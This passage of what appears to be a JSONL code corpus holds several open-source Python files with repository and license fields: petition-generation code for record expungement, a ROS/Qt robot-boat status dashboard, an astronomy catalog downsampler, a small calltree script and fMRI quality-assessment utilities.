UNDERAGED_CONVICTIONS)\n # TODO: Misdemeanor\n\n\ndef create_petitions_from_records(batch, form_type):\n record_set = petition_offense_records(batch, form_type)\n petition_types = identify_distinct_petitions(record_set)\n for petition_type in petition_types:\n petition = batch.petitions.create(\n form_type=form_type,\n jurisdiction=petition_type[\"jurisdiction\"],\n county=petition_type[\"county\"],\n )\n link_offense_records(petition)\n create_documents(petition)\n\n if form_type == UNDERAGED_CONVICTIONS:\n pm.PetitionOffenseRecord.objects.filter(petition_id=petition.id).update(\n active=False\n )\n\n\ndef link_offense_records(petition, filter_active=True):\n \"\"\"Divide offense records across petition and any needed attachment forms.\"\"\"\n\n offense_records = petition.get_all_offense_records()\n petition.offense_records.add(*offense_records)\n\n\ndef create_documents(petition):\n paginator = petition.get_offense_record_paginator()\n\n base_petition = pm.PetitionDocument.objects.create(petition=petition)\n base_petition.offense_records.add(*paginator.petition_offense_records())\n\n previous_document = base_petition\n\n for attachment_records in paginator.attachment_offense_records():\n attachment = pm.PetitionDocument.objects.create(\n petition=petition, previous_document=previous_document\n )\n attachment.offense_records.add(*attachment_records)\n previous_document = attachment\n", "source": "codefordurham/dear-petition", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\n'''\nDashboard: A graphical interface to view the status of various systems on\nNaviGator and a control panel to interact with the running system.\n'''\n\n\nimport functools\nimport os\n\nfrom navigator_alarm import AlarmListener\nfrom navigator_msgs.msg import Hosts, Host\nfrom python_qt_binding import QtCore\nfrom python_qt_binding import QtGui\nfrom python_qt_binding import loadUi\nfrom qt_gui.plugin import Plugin\nfrom remote_control_lib import RemoteControl\nfrom rosgraph_msgs.msg import Clock\nimport rospkg\nimport rospy\nfrom std_msgs.msg import Float32, String\n\n\n__author__ = \"Anthony Olive\"\n__maintainer__ = \"Anthony Olive\"\n__email__ = \"anthony@iris-systems.net\"\n__copyright__ = \"Copyright 2016, MIL\"\n__license__ = \"MIT\"\n\n\nclass Dashboard(Plugin):\n\n def __init__(self, context):\n super(Dashboard, self).__init__(context)\n\n # Create the widget and name it\n self._widget = QtGui.QWidget()\n self._widget.setObjectName(\"Dashboard\")\n self.setObjectName(\"Dashboard\")\n\n # Extend the widget with all attributes and children in the UI file\n ui_file = os.path.join(rospkg.RosPack().get_path(\"navigator_gui\"), \"resource\", \"dashboard.ui\")\n loadUi(ui_file, self._widget)\n\n self.is_killed = False\n self.remote = RemoteControl(\"dashboard\")\n self.remote.is_timed_out = True\n\n # Creates dictionaries that are used by the monitor functions to keep track of their node or service\n node_monitor_template = {\n \"received\": \"Unknown\",\n \"stamp\": rospy.Time.now(),\n \"cached\": \"Unknown\",\n }\n self.operating_mode = node_monitor_template.copy()\n self.battery_voltage = node_monitor_template.copy()\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n self.system_time = node_monitor_template.copy()\n del self.system_time[\"stamp\"]\n self.system_time[\"timeout_count\"] = 0\n self.hosts = node_monitor_template.copy()\n\n self.clear_hosts()\n self.hosts[\"cached\"] = self.hosts[\"received\"]\n\n self.connect_ui()\n self.connect_ros()\n\n # Show _widget.windowTitle on left-top of each plugin (when it's set in _widget). This is useful when you open multiple\n # plugins at once. Also if you open multiple instances of your plugin at once, these lines add number to make it easy to\n # tell from pane to pane.\n if context.serial_number() > 1:\n self._widget.setWindowTitle(self._widget.windowTitle() + (\" (%d)\" % context.serial_number()))\n\n # Add widget to the user interface\n context.add_widget(self._widget)\n\n # Creates monitors that update data on the GUI periodically\n self.monitor_operating_mode()\n self.monitor_battery_voltage()\n self.monitor_system_time()\n self.monitor_hosts()\n\n def clear_hosts(self):\n '''\n Builds a list of host dictionaries that contain the devices hostname,\n an unknown IP address, and an unknown status in the hosts' receiving\n variable.\n '''\n self.hosts[\"received\"] = Hosts()\n for hostname in self.hosts[\"received\"].hostnames.split():\n host = Host()\n host.hostname = hostname\n host.ip = \"Unknown\"\n host.status = \"Unknown\"\n self.hosts[\"received\"].hosts.append(host)\n\n def connect_ui(self):\n '''\n Links objects in the dashboard GUI to variables in the backend\n dashboard object.\n '''\n\n # Kill status\n self.kill_status_frame = self._widget.findChild(QtGui.QFrame, \"kill_status_frame\")\n self.kill_status_status = self._widget.findChild(QtGui.QLabel, \"kill_status_status\")\n\n # Operating mode status\n self.operating_mode_frame = self._widget.findChild(QtGui.QFrame, \"operating_mode_frame\")\n self.operating_mode_status = self._widget.findChild(QtGui.QLabel, \"operating_mode_status\")\n\n # Battery voltage\n self.battery_voltage_frame = self._widget.findChild(QtGui.QFrame, \"battery_voltage_frame\")\n self.battery_voltage_status = self._widget.findChild(QtGui.QLabel, \"battery_voltage_status\")\n\n # System time\n self.system_time_frame = self._widget.findChild(QtGui.QFrame, \"system_time_frame\")\n self.system_time_status = self._widget.findChild(QtGui.QLabel, \"system_time_status\")\n\n # Devices table\n self.device_table = self._widget.findChild(QtGui.QFrame, \"device_table\")\n\n # Control panel buttons\n toggle_kill_button = self._widget.findChild(QtGui.QPushButton, \"toggle_kill_button\")\n toggle_kill_button.clicked.connect(self.remote.toggle_kill)\n station_hold_button = self._widget.findChild(QtGui.QPushButton, \"station_hold_button\")\n station_hold_button.clicked.connect(self.remote.station_hold)\n rc_control_button = self._widget.findChild(QtGui.QPushButton, \"rc_control_button\")\n rc_control_button.clicked.connect(self.remote.select_rc_control)\n emergency_control_button = self._widget.findChild(QtGui.QPushButton, \"emergency_control_button\")\n emergency_control_button.clicked.connect(self.remote.select_emergency_control)\n keyboard_control_button = self._widget.findChild(QtGui.QPushButton, \"keyboard_control_button\")\n keyboard_control_button.clicked.connect(self.remote.select_keyboard_control)\n autonomous_control_button = self._widget.findChild(QtGui.QPushButton, \"autonomous_control_button\")\n autonomous_control_button.clicked.connect(self.remote.select_autonomous_control)\n\n # Defines the color scheme as QT style sheets\n self.colors = {\n \"red\": \"QWidget {background-color:#FF432E;}\",\n \"green\": \"QWidget {background-color:#B1EB00;}\",\n \"blue\": \"QWidget {background-color:#4AA8DB;}\",\n \"yellow\": \"QWidget {background-color:#FDEF14;}\",\n \"orange\": \"QWidget {background-color:#FFA500;}\"\n }\n\n def connect_ros(self):\n '''\n Connect ROS nodes, services, and alarms to variables and methods\n within this class.\n '''\n # Attempts to read the battery voltage parameters (sets them to defaults if they have not been set)\n self.battery_low_voltage = rospy.get_param(\"/battery_monitor/battery_low_voltage\", 24)\n self.battery_critical_voltage = rospy.get_param(\"/battery_monitor/battery_critical_voltage\", 20)\n\n rospy.Subscriber(\"/wrench/current\", String, self.cache_operating_mode)\n rospy.Subscriber(\"/battery_monitor\", Float32, self.cache_battery_voltage)\n rospy.Subscriber(\"/clock\", Clock, self.cache_system_time)\n rospy.Subscriber(\"/host_monitor\", Hosts, self.cache_hosts)\n\n self.kill_listener = AlarmListener(\"kill\", self.update_kill_status)\n\n def _timeout_check(function):\n '''\n Simple decorator to check whether or not the remote control device is\n timed out before running the function that was called.\n '''\n @functools.wraps(function)\n def wrapper(self, *args, **kwargs):\n if (not self.remote.is_timed_out):\n return function(self, *args, **kwargs)\n return wrapper\n\n @_timeout_check\n def update_kill_status(self, alarm):\n '''\n Updates the kill status display when there is an update on the kill\n alarm. Caches the last displayed kill status to avoid updating the\n display with the same information twice.\n '''\n if (alarm.clear):\n if (self.is_killed):\n self.is_killed = False\n self.kill_status_status.setText(\"Alive\")\n self.kill_status_frame.setStyleSheet(self.colors[\"green\"])\n\n elif (not self.is_killed):\n self.is_killed = True\n self.kill_status_status.setText(\"Killed\")\n self.kill_status_frame.setStyleSheet(self.colors[\"red\"])\n\n def cache_operating_mode(self, msg):\n '''\n Stores the operating mode when it is published.\n '''\n self.operating_mode[\"received\"] = msg.data\n self.operating_mode[\"stamp\"] = rospy.Time.now()\n\n def monitor_operating_mode(self):\n '''\n Monitors the operating mode on a 0.5s interval. Only updates the display\n when the received operating mode has changed. Will time out and display\n an unknown status if it has been 15s since the last message.\n '''\n # Sets the operating mode to 'Unknown' if no message has been received in 15s\n if ((rospy.Time.now() - self.operating_mode[\"stamp\"]) > rospy.Duration(15)):\n self.operating_mode[\"received\"] = \"Unknown\"\n\n # Updates the displayed data if a new operating mode has been received since the last timer\n if (self.operating_mode[\"received\"] != self.operating_mode[\"cached\"]):\n self.update_operating_mode_status()\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(500, self.monitor_operating_mode)\n\n @_timeout_check\n def update_operating_mode_status(self):\n '''\n Updates the displayed operating mode status text and color.\n '''\n if (self.operating_mode[\"received\"] == \"Unknown\"):\n self.operating_mode_status.setText(\"Unknown\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"red\"])\n\n elif (self.operating_mode[\"received\"] == \"rc\"):\n self.operating_mode_status.setText(\"Joystick\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"blue\"])\n\n elif (self.operating_mode[\"received\"] == \"emergency\"):\n self.operating_mode_status.setText(\"Emergency\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"orange\"])\n\n elif (self.operating_mode[\"received\"] == \"keyboard\"):\n self.operating_mode_status.setText(\"Keyboard\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"yellow\"])\n\n elif (self.operating_mode[\"received\"] == \"autonomous\"):\n self.operating_mode_status.setText(\"Autonomous\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"green\"])\n\n # Set the cached operating mode to the value that was just displayed\n self.operating_mode[\"cached\"] = self.operating_mode[\"received\"]\n\n def cache_battery_voltage(self, msg):\n '''\n Stores the battery voltage when it is published.\n '''\n self.battery_voltage[\"received\"] = msg.data\n self.battery_voltage[\"stamp\"] = rospy.Time.now()\n\n def monitor_battery_voltage(self):\n '''\n Monitors the battery voltage on a 1s interval. Only updates the display\n when the received battery voltage has changed. Will time out and\n display an unknown status if it has been 15s since the last message.\n '''\n\n # Sets the battery voltage to 'Unknown' if no message has been received in 15s\n if (((rospy.Time.now() - self.battery_voltage[\"stamp\"]) > rospy.Duration(15)) or\n (self.battery_voltage[\"received\"] is None)):\n self.battery_voltage[\"received\"] = \"Unknown\"\n\n # Updates the displayed data if a new battery voltage has been received since the last timer\n if (self.battery_voltage[\"received\"] != self.battery_voltage[\"cached\"]):\n self.update_battery_voltage_status()\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(1000, self.monitor_battery_voltage)\n\n @_timeout_check\n def update_battery_voltage_status(self):\n '''\n Updates the displayed battery voltage status text and color. Uses a\n cached warning color to make sure the color is not changed on every\n update.\n '''\n if (self.battery_voltage[\"received\"] == \"Unknown\"):\n self.battery_voltage_status.setText(\"Unknown\")\n self.battery_voltage_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n\n else:\n\n # Set the frame background color to red if the battery is at or below the critical voltage\n if (self.battery_voltage[\"received\"] <= self.battery_critical_voltage):\n if (self.battery_voltage[\"cached_warning_color\"] != \"red\"):\n self.battery_voltage_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n\n # Set the frame background color to yellow if the battery is at or below the low voltage\n elif (self.battery_voltage[\"received\"] <= self.battery_low_voltage):\n if (self.battery_voltage[\"cached_warning_color\"] != \"yellow\"):\n self.battery_voltage_frame.setStyleSheet(self.colors[\"yellow\"])\n self.battery_voltage[\"cached_warning_color\"] = \"yellow\"\n\n # Set the frame background color to green if the battery is above the warning voltages\n elif (self.battery_voltage[\"cached_warning_color\"] != \"green\"):\n self.battery_voltage_frame.setStyleSheet(self.colors[\"green\"])\n self.battery_voltage[\"cached_warning_color\"] = \"green\"\n\n self.battery_voltage_status.setText(str(self.battery_voltage[\"received\"])[:5])\n\n # Set the cached battery voltage to the value that was just displayed\n self.battery_voltage[\"cached\"] = self.battery_voltage[\"received\"]\n\n def cache_system_time(self, msg):\n '''\n Stores the system time when it is published.\n '''\n self.system_time[\"received\"] = msg.clock\n\n def monitor_system_time(self):\n '''\n Updates data related to the system time on a 0.1s QT timer\n '''\n if (not self.remote.is_timed_out):\n\n # Counts bad values of the received system time towards the timeout count\n if ((self.system_time[\"received\"] is None) or (int(str(self.system_time[\"received\"])) <= 0) or\n len(str(self.system_time[\"received\"])) < 9):\n self.system_time[\"timeout_count\"] += 1\n\n # Updates the displayed data if a new system time has been received since the last timer\n elif (self.system_time[\"received\"] != self.system_time[\"cached\"]):\n self.system_time[\"timeout_count\"] = 0\n self.update_system_time_status()\n\n # Assumes that we have been disconnected if the system timeout counter reaches 50 (5s)\n elif (self.system_time[\"timeout_count\"] >= 50):\n self.remote.is_timed_out = True\n self.kill_status_status.setText(\"Unknown\")\n self.kill_status_frame.setStyleSheet(self.colors[\"red\"])\n self.operating_mode_status.setText(\"Unknown\")\n self.operating_mode_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage_status.setText(\"Unknown\")\n self.battery_voltage_frame.setStyleSheet(self.colors[\"red\"])\n self.battery_voltage[\"cached_warning_color\"] = \"red\"\n self.system_time_status.setText(\"Unknown\")\n self.system_time_frame.setStyleSheet(self.colors[\"red\"])\n\n # Otherwise, increments the system timeout counter\n else:\n self.system_time[\"timeout_count\"] += 1\n\n else:\n\n # If a new system time has been received after a timeout, exit the timeout state\n if (self.system_time[\"received\"] != self.system_time[\"cached\"]):\n self.kill_status_status.setText(\"Active\")\n self.kill_status_frame.setStyleSheet(self.colors[\"green\"])\n self.is_killed = False\n self.remote.is_timed_out = False\n self.system_time[\"timeout_count\"] = 0\n self.update_system_time_status()\n self.system_time_frame.setStyleSheet(self.colors[\"green\"])\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(100, self.monitor_system_time)\n\n def update_system_time_status(self):\n '''\n Updates the displayed system time status text and color.\n '''\n time_string = str(self.system_time[\"received\"])\n self.system_time_status.setText(time_string[:-9] + \".\" + time_string[-9:-8] + \"s\")\n\n # Set the cached system time to the value that was just displayed\n self.system_time[\"cached\"] = self.system_time[\"received\"]\n\n def cache_hosts(self, msg):\n '''\n Converts a published hosts string into a hosts dictionary and stores it\n in the hosts receiving variable.\n '''\n self.hosts[\"received\"] = msg\n self.hosts[\"stamp\"] = rospy.Time.now()\n\n def monitor_hosts(self):\n '''\n Monitors the network hosts on a 10s interval. Only updates the display\n when the received host data has changed. Will time out and display an\n unknown ip and status if it has been 30s since the last message.\n '''\n\n # Sets the IP address and status of all hosts to 'Unknown' if no message has been received in 30s\n if ((rospy.Time.now() - self.hosts[\"stamp\"]) > rospy.Duration(30)):\n self.clear_hosts()\n\n # Updates the displayed data if new hosts data has been received since the last timer\n if (self.hosts[\"received\"] != self.hosts[\"cached\"]):\n self.update_hosts_status()\n\n # Schedules the next instance of this method with a QT timer\n QtCore.QTimer.singleShot(10000, self.monitor_hosts)\n\n def update_hosts_status(self):\n '''\n Updates the text and color of the displayed hosts table elements.\n '''\n rows = self.hosts[\"received\"].hosts\n columns = [\"ip\", \"status\"]\n\n for row in range(len(rows)):\n column_color = []\n\n # Assigns colors to each item in the row\n if (getattr(rows[row], \"ip\") == \"Unknown\"):\n column_color.append(self.colors[\"red\"])\n column_color.append(self.colors[\"red\"])\n else:\n column_color.append(self.colors[\"green\"])\n if (getattr(rows[row], \"status\") == \"Online\"):\n column_color.append(self.colors[\"green\"])\n else:\n column_color.append(self.colors[\"red\"])\n\n # Updates the host's IP address and status in the devices table\n for column in range(len(columns)):\n entry = QtGui.QLabel(getattr(rows[row], columns[column]))\n entry.setAlignment(QtCore.Qt.AlignCenter)\n entry.setStyleSheet(column_color[column])\n self.device_table.setCellWidget(row, column, entry)\n\n # Set the cached host data to the host data that was just displayed\n self.hosts[\"cached\"] = self.hosts[\"received\"]\n", "source": "saltyan007/kill_test", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\"\"\"This script will read the dark matter particle table for the SMDPL\nsimulation, and downsample it for our model.\n\"\"\"\n\nimport os\nimport argparse\n\nimport numpy as np\nimport pandas as pd\n\n\nS18A_RAND_COLS = [\n 'object_id', 'ra', 'dec', 'coord', 'skymap_id', 'tract', 'patch', 'patch_s', 'parent_id',\n 'nchild', 'isprimary', 'adjust_density', 'detect_ispatchinner', 'detect_istractinner',\n 'g_pix_variance', 'g_sky_mean', 'g_sky_std', 'g_inputcount_value', 'g_inputcount_flag',\n 'g_inputcount_flag_noinputs', 'g_inputcount_flag_badcentroid', 'g_pixelflags',\n 'g_pixelflags_offimage', 'g_pixelflags_edge', 'g_pixelflags_bad',\n 'g_pixelflags_interpolatedcenter', 'g_pixelflags_saturatedcenter', 'g_pixelflags_crcenter',\n 'g_pixelflags_suspectcenter', 'g_pixelflags_bright_objectcenter', 'g_sdssshape_psf_shape11',\n 'g_sdssshape_psf_shape22', 'g_sdssshape_psf_shape12',\n 'r_pix_variance', 'r_sky_mean', 'r_sky_std', 'r_inputcount_value', 'r_inputcount_flag',\n 'r_inputcount_flag_noinputs', 'r_inputcount_flag_badcentroid', 'r_pixelflags',\n 'r_pixelflags_offimage', 'r_pixelflags_edge', 'r_pixelflags_bad',\n 'r_pixelflags_interpolatedcenter', 'r_pixelflags_saturatedcenter', 'r_pixelflags_crcenter',\n 'r_pixelflags_suspectcenter', 'r_pixelflags_bright_objectcenter', 'r_sdssshape_psf_shape11',\n 'r_sdssshape_psf_shape22', 'r_sdssshape_psf_shape12',\n 'i_pix_variance', 'i_sky_mean', 'i_sky_std', 'i_inputcount_value', 'i_inputcount_flag',\n 'i_inputcount_flag_noinputs', 'i_inputcount_flag_badcentroid', 'i_pixelflags',\n 'i_pixelflags_offimage', 'i_pixelflags_edge', 'i_pixelflags_bad',\n 'i_pixelflags_interpolatedcenter', 'i_pixelflags_saturatedcenter', 'i_pixelflags_crcenter',\n 'i_pixelflags_suspectcenter', 'i_pixelflags_bright_objectcenter', 'i_sdssshape_psf_shape11',\n 'i_sdssshape_psf_shape22', 'i_sdssshape_psf_shape12',\n 'z_pix_variance', 'z_sky_mean', 'z_sky_std', 'z_inputcount_value', 'z_inputcount_flag',\n 'z_inputcount_flag_noinputs', 'z_inputcount_flag_badcentroid', 'z_pixelflags',\n 'z_pixelflags_offimage', 'z_pixelflags_edge', 'z_pixelflags_bad',\n 'z_pixelflags_interpolatedcenter', 'z_pixelflags_saturatedcenter', 'z_pixelflags_crcenter',\n 'z_pixelflags_suspectcenter', 'z_pixelflags_bright_objectcenter', 'z_sdssshape_psf_shape11',\n 'z_sdssshape_psf_shape22', 'z_sdssshape_psf_shape12',\n 'y_pix_variance', 'y_sky_mean', 'y_sky_std', 'y_inputcount_value', 'y_inputcount_flag',\n 'y_inputcount_flag_noinputs', 'y_inputcount_flag_badcentroid', 'y_pixelflags',\n 'y_pixelflags_offimage', 'y_pixelflags_edge', 'y_pixelflags_bad',\n 'y_pixelflags_interpolatedcenter', 'y_pixelflags_saturatedcenter', 'y_pixelflags_crcenter',\n 'y_pixelflags_suspectcenter', 'y_pixelflags_bright_objectcenter', 'y_sdssshape_psf_shape11',\n 'y_sdssshape_psf_shape22', 'y_sdssshape_psf_shape12'\n]\n\nS18A_RAND_USE = [0, 1, 2, 5, 6, 10, 11, 17, 36, 55, 74, 93]\n\nS18A_RAND_DTYPE = [\n (\"object_id\", \"int32\"), (\"ra\", \"float64\"), (\"dec\", \"float64\"),\n (\"tract\", \"int32\"), (\"patch\", \"int32\"), (\"isprimary\", \"bool\"),\n (\"adjust_density\", \"float64\"), (\"g_inputcount_value\", \"float32\"),\n (\"r_inputcount_value\", \"float32\"), (\"i_inputcount_value\", \"float32\"),\n (\"z_inputcount_value\", \"float32\"), (\"y_inputcount_value\", \"float32\")\n]\n\n\ndef downsample_randoms(rand_file, chunksize=1e6, seed=95064, whitespace=False,\n downsample=False, verbose=True, gzip=False):\n \"\"\"Down-sample the random catalogs from the HSC S18A data.\"\"\"\n if not os.path.isfile(rand_file):\n raise IOError(\"# Can not find the particle table : %s\" % rand_file)\n if gzip:\n rand_pre = rand_file.replace('.csv.gz', '')\n else:\n rand_pre = rand_file.replace('.csv', '')\n\n # Reduce the number of colunms and save as a numpy array\n rand_out = rand_pre + \".npy\"\n rand_out_downsample = rand_pre + \"_downsample.npy\"\n\n if verbose:\n print(\"# Save the downsampled catalog to : %s\" % rand_out)\n\n # Read the data\n rand_pchunks = pd.read_csv(\n rand_file, usecols=S18A_RAND_USE, delim_whitespace=whitespace,\n index_col=False, chunksize=chunksize)\n\n rand_pdframe = pd.concat(rand_pchunks)\n rand_pdframe.rename(columns={'# object_id': 'object_id'}, inplace=True)\n\n rand_array = rand_pdframe.to_records(index=False)\n\n # Save the result\n if verbose:\n print(\"# There are %d randoms in the file: %s\" % (len(rand_array), rand_file))\n np.save(rand_out, rand_array)\n\n # Downsample\n if downsample:\n np.random.seed(seed)\n n_rand = int(len(rand_array) / 10)\n rand_downsample = np.random.choice(rand_array, n_rand, replace=False)\n\n # Save the result\n np.save(rand_out_downsample, rand_downsample)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n 'rand_file', type=str,\n help=('The particle catalog.'))\n\n parser.add_argument(\n '-c', '--chunk', dest='chunksize', type=int, default=1e6,\n help=('Size of the chunk when reading in the catalog.'))\n\n parser.add_argument(\n '-g', '--gzip', dest='gzip',\n help=('Whether the file is in .csv.gz format'),\n action=\"store_true\", default=False)\n\n parser.add_argument(\n '-s', '--seed', dest='seed', help='Random seed',\n type=int, default=95064)\n\n parser.add_argument(\n '-v', '--verbose', dest='verbose',\n help=('Blah, blah...'),\n action=\"store_true\", default=False)\n\n args = parser.parse_args()\n\n downsample_randoms(\n args.rand_file, chunksize=args.chunksize,\n seed=args.seed, verbose=args.verbose, gzip=args.gzip)\n", "source": "dr-guangtou/asap", "license": "Unlicense"}
+{"text": "\"\"\"\napiparse\n\nParse API and API groups from sources. List the API occurences from all\ndirectories and sub directories\n\n\"\"\"\n\n# Main Routine\nif __name__ == \"__main__\":\n import calltree\n f = calltree.calltree.calltree()\n f.showtree()\n f.showgraph()\n\n", "source": "vadivelmurugank/calltree", "license": "MIT"}
+{"text": "\nimport scipy.stats as stats\n\n\ndef pass_floats(output_string):\n \"\"\"Parse AFNI command STDOUT output strings and return the output values \n as a list of floats.\n\n :type output_string: str\n :param output_string: An AFNI command standard output.\n :rtype: list\n :return: A list of float values.\n \"\"\"\n\n lines = output_string.splitlines()\n values_list = []\n\n for l in lines:\n try:\n val = float(l)\n values_list.append(val)\n except:\n pass\n\n return values_list\n\n\ndef calculate_percent_outliers(values_list):\n \"\"\"Calculate the percentage of outliers from a vector of values.\n\n :type values_list: list\n :param values_list: A list of float values.\n :rtype: float\n :return: The percentage of values from the input vector that are\n statistical outliers.\n :rtype: float\n :return: The inter-quartile range of the data.\n \"\"\"\n\n import numpy as np\n from qap.qap_utils import raise_smart_exception\n\n try:\n # calculate the IQR\n sorted_values = sorted(values_list)\n\n third_qr, first_qr = np.percentile(sorted_values, [75, 25])\n IQR = third_qr - first_qr\n\n # calculate percent outliers\n third_qr_threshold = third_qr + (1.5 * IQR)\n first_qr_threshold = first_qr - (1.5 * IQR)\n\n high_outliers = \\\n [val for val in sorted_values if val > third_qr_threshold]\n low_outliers = \\\n [val for val in sorted_values if val < first_qr_threshold]\n\n total_outliers = high_outliers + low_outliers\n\n percent_outliers = \\\n float(len(total_outliers)) / float(len(sorted_values))\n\n except:\n raise_smart_exception(locals())\n\n return percent_outliers, IQR\n\n\ndef fd_jenkinson(in_file, rmax=80., out_file=None, out_array=False):\n \"\"\"Calculate Jenkinson's Mean Framewise Displacement (aka RMSD) and save \n the Mean FD values to a file.\n\n - Method to calculate Framewise Displacement (FD) calculations\n (Jenkinson et al., 2002).\n - Implementation written by @ Krsna, May 2013.\n - Jenkinson FD from 3dvolreg's *.affmat12.1D file from -1Dmatrix_save\n option input: subject ID, rest_number, name of 6 parameter motion\n correction file (an output of 3dvolreg) output: FD_J.1D file\n - in_file should have one 3dvolreg affine matrix in one row - NOT the\n motion parameters.\n\n :type in_file: str\n :param in_file: Filepath to the coordinate transformation output vector\n of AFNI's 3dvolreg (generated by running 3dvolreg with\n the -1Dmatrix_save option).\n :type rmax: float\n :param rmax: (default: 80.0) The default radius of a sphere that\n represents the brain.\n :type out_file: str\n :param out_file: (default: None) The filepath to where the output file\n should be written.\n :type out_array: bool\n :param out_array: (default: False) Flag to return the data in a Python\n NumPy array instead of an output file.\n :rtype: str\n :return: (if out_array=False) The filepath to the output file containing\n the Mean FD values.\n :rtype: NumPy array\n :return: (if out_array=True) An array of the output Mean FD values.\n \"\"\"\n\n import numpy as np\n import os.path as op\n from shutil import copyfile\n import math\n from qap.qap_utils import raise_smart_exception\n\n if out_file is None:\n fname, ext = op.splitext(op.basename(in_file))\n out_file = op.abspath('%s_fdfile%s' % (fname, ext))\n\n # if in_file (coordinate_transformation) is actually the rel_mean output\n # of the MCFLIRT command, forward that file\n if 'rel.rms' in in_file:\n copyfile(in_file, out_file)\n return out_file\n\n try:\n pm_ = np.genfromtxt(in_file)\n except:\n raise_smart_exception(locals())\n\n original_shape = pm_.shape\n pm = np.zeros((pm_.shape[0], pm_.shape[1] + 4))\n pm[:, :original_shape[1]] = pm_\n pm[:, original_shape[1]:] = [0.0, 0.0, 0.0, 1.0]\n\n # rigid body transformation matrix\n T_rb_prev = np.matrix(np.eye(4))\n\n flag = 0\n X = [0] # First timepoint\n for i in range(0, pm.shape[0]):\n # making use of the fact that the order of aff12 matrix is \"row-by-row\"\n T_rb = np.matrix(pm[i].reshape(4, 4))\n\n if flag == 0:\n flag = 1\n else:\n M = np.dot(T_rb, T_rb_prev.I) - np.eye(4)\n A = M[0:3, 0:3]\n b = M[0:3, 3]\n\n FD_J = math.sqrt(\n (rmax * rmax / 5) * np.trace(np.dot(A.T, A)) + np.dot(b.T, b))\n X.append(FD_J)\n\n T_rb_prev = T_rb\n\n try:\n np.savetxt(out_file, np.array(X))\n except:\n raise_smart_exception(locals())\n\n if out_array:\n return np.array(X)\n else:\n return out_file\n\n\ndef outlier_timepoints(func_file, mask_file=None, out_fraction=True):\n \"\"\"Calculates the number of 'outliers' in a 4D functional dataset, at each\n time-point using AFNI's 3dToutcount.\n\n - Uses AFNI 3dToutcount. More info here:\n https://afni.nimh.nih.gov/pub/dist/doc/program_help/3dToutcount.html\n - Used for the 'Fraction of Outliers' QAP functional temporal metrics.\n\n :type func_file: str\n :param func_file: Path to 4D functional timeseries NIFTI file.\n :type mask_file: str\n :param mask_file: Path to the functional binary brain mask NIFTI file.\n :type out_fraction: bool\n :param out_fraction: (default: True) Whether the output should be a count\n (False) or fraction (True) of the number of masked\n voxels which are outliers at each time point.\n :rtype: list\n :return: A list of outlier values from AFNI 3dToutcount.\n \"\"\"\n\n import commands\n from qap.qap_utils import raise_smart_exception\n\n opts = []\n if out_fraction:\n opts.append(\"-fraction\")\n if mask_file:\n opts.append(\"-mask %s\" % mask_file)\n opts.append(func_file)\n str_opts = \" \".join(opts)\n\n # TODO:\n # check if should use -polort 2\n # (http://www.na-mic.org/Wiki/images/8/86/FBIRNSupplementalMaterial082005.pdf)\n # or -legendre to remove any trend\n cmd = \"3dToutcount %s\" % str_opts\n\n try:\n out = commands.getoutput(cmd)\n except:\n err = \"[!] QAP says: Something went wrong with running AFNI's \" \\\n \"3dToutcount.\"\n raise_smart_exception(locals(),err)\n\n # remove general information and warnings\n outliers = pass_floats(out)\n\n return outliers\n\n\ndef quality_timepoints(func_file):\n \"\"\"Calculates a 'quality index' for each timepoint in the 4D functional\n dataset using AFNI's 3dTqual.\n\n - Uses AFNI 3dTqual. More info here:\n https://afni.nimh.nih.gov/pub/dist/doc/program_help/3dTqual.html\n - Used for the 'Quality' QAP functional temporal metrics.\n - Low values are good and indicate that the timepoint is not very\n different from the norm.\n\n :type func_file: str\n :param func_file: Filepath to the 4D functional timerseries NIFTI file.\n :rtype: list\n :return: A list of float values from AFNI 3dTqual.\n \"\"\"\n\n import subprocess\n from qap.qap_utils import raise_smart_exception\n\n opts = []\n opts.append(func_file)\n str_opts = \" \".join(opts)\n\n cmd = \"3dTqual %s\" % str_opts\n\n try:\n p = subprocess.Popen(cmd.split(\" \"),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n out, err = p.communicate()\n except:\n err = \"[!] QAP says: Something went wrong with running AFNI's \" \\\n \"3dTqual.\"\n raise_smart_exception(locals(),err)\n\n quality = pass_floats(out)\n\n return quality\n\n\ndef global_correlation(func_reorient, func_mask):\n \"\"\"Calculate the global correlation (GCOR) of the functional timeseries.\n\n - From \"Correcting Brain-Wide Correlation Differences in Resting-State\n fMRI\", Ziad S. Saad et al. More info here:\n https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3749702\n\n :type func_reorient: str\n :param func_reorient: Filepath to the deobliqued, reoriented functional\n timeseries NIFTI file.\n :type func_mask: str\n :param func_mask: Filepath to the functional brain mask NIFTI file.\n :rtype: float\n :return: The global correlation (GCOR) value.\n \"\"\"\n\n import scipy\n import numpy as np\n from dvars import load\n\n zero_variance_func = load(func_reorient, func_mask)\n\n list_of_ts = zero_variance_func.transpose()\n\n # get array of z-scored values of each voxel in each volume of the\n # timeseries\n demeaned_normed = []\n\n for ts in list_of_ts:\n demeaned_normed.append(scipy.stats.mstats.zscore(ts))\n\n demeaned_normed = np.asarray(demeaned_normed)\n\n # make an average of the normalized timeseries, into one averaged\n # timeseries, a vector of N volumes\n volume_list = demeaned_normed.transpose()\n\n avg_ts = []\n\n for voxel in volume_list:\n avg_ts.append(voxel.mean())\n\n avg_ts = np.asarray(avg_ts)\n\n # calculate the global correlation\n gcor = (avg_ts.transpose().dot(avg_ts)) / len(avg_ts)\n\n return gcor\n", "source": "manwithadodla/quality-assessment-protocol", "license": "BSD-3-Clause"}
